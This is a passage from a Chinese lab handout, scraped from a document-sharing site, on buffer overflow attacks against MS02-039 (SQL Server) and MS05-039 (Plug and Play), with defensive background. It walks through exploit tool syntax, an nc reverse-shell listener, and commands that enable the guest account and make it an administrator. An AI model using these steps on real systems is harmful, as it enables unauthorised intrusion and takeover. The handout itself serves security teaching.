缓冲区溢出攻击与防范实验_第1页
缓冲区溢出攻击与防范实验_第2页
缓冲区溢出攻击与防范实验_第3页
缓冲区溢出攻击与防范实验_第4页
缓冲区溢出攻击与防范实验_第5页
已阅读5页,还剩12页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、实验十二 缓冲区溢出攻击与防范实验1.实验目的通过实验掌握缓冲区溢出的原理;通过使用缓冲区溢出攻击软件模拟入侵远程主机;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。2.预备知识2.1缓冲区溢出攻击简介缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普通了,并且易于实现。而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。下面简单介绍缓冲区溢出的基本原理和预防办法。(1)缓冲区概念缓冲区是内存中存放数据的地方。在程

2、序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓

3、冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。发生溢出时,如果用一个实际存

4、在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。(2)制造缓冲区溢出一个程序在内存中通常分为程序段、数据段和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置由到高依次是: 内存高端;堆栈;数据段;程序段;内存低端。当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容作为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,作为新的基地址;最后为本地变量留出一定空间,把

5、SP减去适当的数值。2.2缓冲区溢出漏洞攻击方式缓冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权限。一般利用缓冲区溢出漏洞攻击root程序,大都通过执行类似“exec(sh)”的执行代码来获得root 的shell。黑客要达到目的通常要完成两个任务,就是在程序的地址空间里安排适当的代码和通过适当的初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。(1)在程序的地址空间里安排适当的代码在程序的地址空间里安排适当的代码往往是相对简单的。如果要攻击的代码在所攻击程序中已经存在了,那么就简单地对代码传递一些参数,然后使程序跳转到目标中就可以完成了。攻击代码要求执行“exec

6、(/bin/sh)”,而在libc库中的代码执行“exec(arg)”,其中的“arg”是个指向字符串的指针参数,只要把传入的参数指针修改指向“/bin/sh”,然后再跳转到libc库中的响应指令序列就可以了。当然,很多时候这个可能性是很小的,那么就得用一种叫“植入法”的方式来完成了。当向目标程序里输入一个字符串时,程序就会把这个字符串放到缓冲区里,这个字符串包含的数据是可以在这个所攻击的目标的硬件平台上运行的指令序列。缓冲区可以设在:堆栈(自动变量)、堆(动态分配的)和静态数据区(初始化或者未初始化的数据)等的任何地方。也可以不必为达到这个目的而溢出任何缓冲区,只要找到足够的空间来放置这些攻

7、击代码就够了。(2)控制程序转移到攻击代码的形式缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程,使它跳转到攻击代码,最为基本的就是溢出一个没有检查或者其他漏洞的缓冲区,这样做就会扰乱程序的正常执行次序。通过溢出某缓冲区,可以改写相近程序的空间而直接跳转过系统对身份的验证。原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。但因不同地方的定位相异,所以也就带出了多种转移方式。 Function Pointers(函数指针)在程序中,“void (* foo) ( )”声明了个返回值为“void” Function Pointers的变量“foo”。Function Pointers可以用来

8、定位任意地址空间,攻击时只需要在任意空间里的Function Pointers邻近处找到一个能够溢出的缓冲区,然后用溢出来改变Function Pointers。当程序通过Function Pointers调用函数,程序的流程就会实现。Activation Records(激活记录)当一个函数调用发生时,堆栈中会留驻一个Activation Records,它包含了函数结束时返回的地址。执行溢出这些自动变量,使这个返回的地址指向攻击代码,再通过改变程序的返回地址。当函数调用结束时,程序就会跳转到事先所设定的地址,而不是原来的地址。这样的溢出方式也是较常见的。Longjmp buffers(长跳

9、转缓冲区)在C语言中包含了一个简单的检验/恢复系统,称为“setjmp/longjmp”,意思是在检验点设定“setjmp(buffer)”,用longjmp(buffer)“来恢复检验点。如果攻击时能够进入缓冲区的空间,感觉“longjmp(buffer)”实际上是跳转到攻击的代码。像Function Pointers一样,longjmp缓冲区能够指向任何地方,所以找到一个可供溢出的缓冲区是最先应该做的事情。(3)植入综合代码和流程控制常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和Activation Records。攻击时定位在一个可供溢出的自动变量,然后向程序传递一个很大的字符串

10、,在引发缓冲区溢出改变Activation Records的同时植入代码(权因C在习惯上只为用户和参数开辟很小的缓冲区)。植入代码和缓冲区溢出不一定要一次性完成,可以在一个缓冲区内放置代码(这个时候并不能溢出缓冲区),然后通过溢出另一个缓冲区来转移程序的指针。这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。如果想使用已经驻留的代码不需要再外部植入的时候,通常必须先把代码作为参数。在libc(熟悉C的朋友应该知道,现在几乎所有的C程序连接都是利用它来连接的)中的一部分代码段会执行“exec(something)”,当中的something就是参数,使用缓冲区溢出改变程序的参数,然后利用

11、另一个缓冲区溢出使程序指针指向libc中的特定的代码段。程序编写的错误造成网络的不安全性也应当受到重视,因为它的不安全性已被缓冲区溢出表现得淋漓尽致了。2.3缓冲区溢出的保护方法目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响:(1)强制写正确的代码的方法编写正确的代码是一件非常有意义但耗时的工作,特别像编写C语言那种具有容易出错倾向的程序(如:字符串的零结尾),这种风格是由于追求性能而忽视正确性的传统引起的。尽管花了很长的时间使得人们知道了如何编写安全的程序,具有安全漏洞的程序依旧出现。因此人们开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序。虽然这些工具帮助程序员开发更

12、安全的程序,但是由于C语言的特点,这些工具不可能找出所有的缓冲区溢出漏洞。所以,帧错技术只能用来减少缓冲区溢出的可能,并不能完全地消除它的存在。除非程序员能保证他的程序万无一失,否则还是要用到以下部分的内容来保证程序的可靠性能。(2)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。这种方法有效地阻止了很多缓冲区溢出的攻击,但是攻击者并不一定要植入攻击代码来实现缓冲区溢出的攻击,所以这种方法还是存在很多弱点的。(3)利用编译器的边界检查来实现缓冲区的保护这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。 (4)在程序指针失效前进行完整性检查 这

13、样虽然这种方法不能使得所有的缓冲区溢出失效,但它的确阻止了绝大多数的缓冲区溢出攻击,而能够逃脱这种方法保护的缓冲区溢出也很难实现。最普通的缓冲区溢出形式是攻击活动纪录然后在堆栈中植入代码。这种类型的攻击在1996年中有很多纪录。而非执行堆栈和堆栈保护的方法都可以有效防卫这种攻击。非执行堆栈可以防卫所有把代码殖入堆栈的攻击方法,堆栈保护可以防卫所有改变活动纪录的方法。这两种方法相互兼容,可以同时防卫多种可能的攻击。剩下的攻击基本上可以用指针保护的方法来防卫,但是在某些特殊的场合需要用手工来实现指针保护。全自动的指针保护需要对每个变量加入附加字节,这样使得指针边界检查在某些情况下具有优势。最为有趣

14、的是,缓冲区溢出漏洞-Morris蠕虫使用了现今所有方法都无法有效防卫的方法,但是由于过于复杂的缘故却很少有人用到。2.4 ms05-039漏洞原理MS05-039漏洞是Microsoft Windows即插即用功能远程缓冲区溢出漏洞。Microsoft Windows即插即用(PnP)功能允许操作系统在安装新硬件时能够检测到这些设备。Microsoft Windows即插即用功能中存在缓冲区溢出漏洞,造成该漏洞的原因是Plug and Play 服务中有未经检查的缓冲区。成功利用这个漏洞的攻击者可以完全控制受影响的系统。 这是一个严重的安全漏洞,成功的攻击者可以完全控制被攻击的计算机。这个漏

15、洞既可以用来远程溢出(只适用于目标系统是2000和xp sp1),也可以用来本地提升权限(2000以上版本都可以)。而且溢出成功后会得到一个SYSTEM权限的shell。2.5 MS02-039 漏洞原理Microsoft SQL Server 2000支持在单个物理主机上伺服多个SQL服务器的实例,每个实例操作需要通过单独的服务,不过多个实例不能全部使用标准SQL服务会话会话端口(TCP 1433),所以SQL Server Resolution服务操作监听在UDP 1434端口,提供一种使客户端查询适当的网络末端用于特殊的SQL服务实例的途径。当SQL Server Resolution服

16、务在UDP 1434端口接收到第一个字节设置为0x04的UDP包时,SQL监视线程会获取UDP包中的数据并使用此用户提供的信息来尝试打开注册表中的某一键值,如发送x04x41x41x41x41类似的UDP包,SQL服务程序就会打开如下注册表键:HKLMSoftwareMicrosoftMicrosoft SQL ServerAAAAMSSQLServerCurrentVersion 攻击者可以通过在这个UDP包后追加大量字符串数据,当尝试打开这个字符串相对应的键值时,会发生基于栈的缓冲区溢出,通过包含"jmp esp"或者"call esp"指令的地址覆

17、盖栈中保存的返回地址,可导致以SQL Server进程的权限在系统中执行任意指令。3.实验环境3.1 运行环境 1)预备知识要求l 了解网络的基本知识;l 熟练使用windows操作系统;l 充分理解第2节“缓冲区溢出攻击原理”。2)实验环境 本实验需要用到虚拟机,因此每台实验主机都通过安装软件WMware Workstation分割出了虚拟机。真实主机P1的配置为:操作系统Windows2000 Professional SP4或者windows XP sp2,并且安装ms02-039.exe缓冲区溢出攻击软件和ms05-039.exe缓冲区溢出攻击软件。虚拟机P2配置为:操作系统Windo

18、ws2000 Server SP4(没有另外打补丁,安装了SQL Server 2000 sp2,存在MSSQL漏洞和ms05039漏洞)。3)实验网络拓扑图图4-1 实验网络拓扑图4)请根据实验环境在下表中填写IP地址。攻防实验服务器IPP1:本机IPP2:本机虚拟机IPP3:表4-1 实验IP地址3.2 准备工作连接服务器,在地址栏中敲入URL:http:/P1, 进入实验系统主页面选择“溢出实验”。选择需要下载的实验工具,ms02-039和ms05-039。在真实机P2上分别下载ms02-039和ms05-039后请解压缩,解压前请关闭杀毒软件的自动防护功能。解压缩后可以发现工具仍然是一

19、个个的压缩包,这是为了防止溢出程序被杀毒软件删除。我们需要将完全解压后的ms05039.exe, ms02039.exe和nc.exe一起拷贝到C:gongfang的根目录下,如图42所示。图4-2 将文件拷贝到C:gongfang启动虚拟主机,具体操作如下:双击桌面上的虚拟机图标,如图43图4-3 Vmware Workstation 虚拟机快捷方式图标双击该图标后虚拟机软件开始运行,出现界面如图4-4所示。图4-4 虚拟机软件运行页面点击“Open Existing Virtual Machine”图标,跳出选择界面如图4-5所示,选择虚拟机操作系统。选择win2000Pro.vmx,点击

20、“打开”。进入页面如图46所示,可见虚拟机所安装的操作系统信息。图4-5 选择虚拟机操作系统页面图4-6 虚拟机操作系统信息页面点击“Start this virtual machine”,启动该虚拟机。耐心等待虚拟机启动,其启动过程如同真实机的操作系统一样。登录虚拟机系统的密码为“taigu”。登录成功进入系统,如图4-7所示。可通过同时按下“Ctrl+Alt”来切换真实机与虚拟机之间的鼠标定位。图 4-7 虚拟机操作系统主页面获取虚拟主机系统的IP地址,依次操作:“开始”“运行”“敲入cmd”-“在命令行下敲入ipconfig”回车,如图4-8所示,可知本机上虚拟机的IP地址。图4-8 查

21、询虚拟机IP地址准备工作结束,开始实验。4.实验内容和步骤4.1 实验任务一: MS02-039漏洞的利用本实验要求利用MSSQL溢出工具对远程主机上的Windows系统MSSQL 漏洞进行入侵攻击,攻击成功后可以获得系统控制权。注:在本实验中,远程主机均指每台学生实验主机上安装的虚拟机。1)熟悉ms02039.exe命令的使用 这是一个利用远程主机MSSQL漏洞进行溢出攻击的工具,它在命令行下使用,使用格式如下:ms02039.exe <目标主机IP> <溢出后反连IP> <反连端口> <目标主机mssql类型对应的参数>其中,MSSQL版本类

22、型及对应参数如下:SQL Server 2000 Service pack 00SQL Server 2000 Service pack 1、212)利用目标虚拟主机上的ms02039漏洞进行入侵(1)用nc.exe在本地进行监听端口99,如图4-9所示:图4-9 用nc.exe进行监听(2)使用ms02039.exe并进行溢出攻击,并反连回本机的99端口,。假定虚拟机IP地址为50(实际实验中以目标虚拟主机的IP地址为准)。在真实机上的命令行提示下输入ms02039.exe工具的命令, “ms02039.exe 50 22 9

23、9 0”,(这表示对50进行远程溢出,溢出后返回的ip是22(本机ip),返回端口是99,远程主机mssql的类型是2000 sp0),如图4-10所示。图4-10 命令行下键入ms02039.exe的命令然后运行,可见我们的exploit已经发向了目的主机,现在我们查看nc.exe程序有没有反应,结果发现:远程主机向我们22主机的99端口进行了反连,溢出攻击成功。结果如图4-11:图4-11 溢出成功后目的主机反连我们的主机(3)查看远程主机上的用户在反连得到的shell窗口下输入net user 查看远程主机下有哪些用户。(

24、4)激活远程主机的guest用户发现远程主机有guest用户,一般该用户安全设置是关闭的,首先需要把它激活,如图4-12,敲入net user guest/active:yes,显示“命令成功完成”,表示远程主机的guest用户已经被激活了。 图4-12 命令行下键入net user guest命令(5)给guest用户添加密码,如“123”,如图4-13:图4-13 命令行下给用户添加密码“123”(6)把guest用户添加到administrator组中,这样用户就拥有了很高的权限,如图4-14:图4-14 命令行下给用户添加最高权限获得最高权限后,请尝试使用ftp命令上传一个文件到目标主

25、机上。4.2 实验任务二: ms05-039溢出漏洞利用本实验需要在真实主机上利用ms05039溢出工具对虚拟机上的ms05039漏洞进行溢出攻击,入侵成功可以获得系统的控制权。1)入侵准备工作这是一个远程执行代码和本地特权提升漏洞。在 Windows 2000 上,匿名攻击者可能试图远程利用此漏洞。在 Windows XP Service Pack 1 上,只有经身份验证的用户可试图远程利用此漏洞。 在 Window XP Service Pack 2 和 Windows Server 2003 上,只有管理员才能远程访问受影响的组件。成功利用此漏洞的攻击者可完全控制受影响的系统。攻击者可随

26、后安装程序,查看、更改或删除数据,或者创建拥有完全用户权限的新帐户。(1)关闭本机(攻击主机)上的杀毒软件和防火墙软件,确保实验软件能够运行;(2)运行nc.exe。在本地进行监听:nc vv l p 99,如图4-15。图4-15 运行nc 进行监听2)对远程主机进ms05-039漏洞进行入侵实验在命令行下进行,具体操作如下:(1)运行ms05039scan.exe,如图4-16,设定探测目标50(实验中以实际虚拟机为准)。图4-16 ms05039扫描(2)点击“”按钮;(3)运行结束后查看结果,此例中表明目标主机有该漏洞,可以进行下一步攻击。3)攻击(1)在dos下运行ms05039攻击程序ms0539.exe。ms0539.exe是一个利用远程主机ms05-039漏洞进行溢出的工具,它在命令行下使用,使用格式如下: ms05039.exe <host> <conIP> <conPort> target其中:host :目标主机地址conIP :回连ip地址,一般就是本地主机ip地址onPort:回连端口,如该实验中的“99”target :目标系统类型,缺省

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论